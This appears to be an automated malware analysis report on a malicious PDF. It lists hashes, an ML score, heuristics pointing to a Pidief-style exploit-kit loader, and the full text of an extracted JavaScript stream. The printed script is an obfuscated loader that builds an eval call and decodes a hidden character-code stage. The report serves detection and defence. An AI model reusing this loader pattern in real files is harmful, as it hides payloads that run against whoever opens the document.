Malicious PDF — malware analysis report

Static analysis result for SHA-256 49d7c96d86165d98…

MALICIOUS

PDF

45.5 KB First seen: 2026-05-08
MD5: 25484997868b4fd6dbae5a37fdb02fbd SHA-1: 45f0f723e4c4dec60fe71a89fbb548e9832b77f2 SHA-256: 49d7c96d86165d983f12db4d783574082e2f0f7335aaeeb5e244abf2715a261d
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript stream, named javascript_obj0001_000.js, is the primary indicator of malicious activity. The script is likely designed to execute a malicious payload, although its specific actions are not detailed in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB37B 443 bytes
SHA-256: bdd3bf8faafc1f0d5705ab87a099cababbd5d065da6f663d135f82aa2135bcd0
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
qdhbd='';
xir=('qwrwqr','tit');
e('uzk=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
jurxc=e('String.fr'+uzk.substr(0,10));
ufd = e(uzk.substr(10)['replace'](/u/g,','));
e('k=ufd.length');
for (i = 0; i < k; i+=2) {
	xjtu = ufd[i+1] + ('erybjkerl',ufd[i]);
	qdhbd += jurxc(xjtu);
}
e(qdhbd);

Open this report in the interactive analyzer, or submit your own file for analysis.